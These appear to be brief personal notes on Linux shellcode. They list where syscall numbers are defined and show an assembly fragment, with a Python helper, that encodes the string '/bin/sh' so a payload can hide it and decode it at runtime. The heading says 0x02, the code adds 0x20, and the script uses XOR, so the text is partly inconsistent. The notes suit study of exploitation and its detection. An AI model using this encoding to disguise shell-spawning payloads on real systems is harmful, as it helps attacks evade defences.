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Where to get all available syscalls?:

  • /usr/include/asm/unistd_32.h
  • /usr/include/asm/unistd_64.h

Available socket’s syscalls

  • /usr/include/linux/net.h

Encoding shellcode

By Adding 0x02 to each char

...
popl %ebx           /* get address of /bin/sh */
movl %ebx,%ecx      /* copy the address to ecx */
addb $0x6,%cl       /* ecx now points to the last character */

loop:
cmpl %ebx,%ecx
jl skip             /* if (ecx<ebx) goto skip */
addb $0x20,(%ecx)   /* adds 0x20 to the byte pointed to by %ecx */
decb %cl            /* move the pointer down by one */
jmp loop
skip:
...
.string "\x0f\x42\x49\x4e\x0f\x53\x48"

Where the .string can be generated with this py script:

def xor_encode(text, key):
    return ''.join(chr(ord(c) ^ key) for c in text)

def hex_encode(text):
    return ''.join(f'\\x{ord(c):02x}' for c in text)

key     = 0x20
decoded = "/bin/sh"
encoded = hex_encode(xor_encode(decoded, key))
print(encoded) # \x0f\x42\x49\x4e\x0f\x53\x48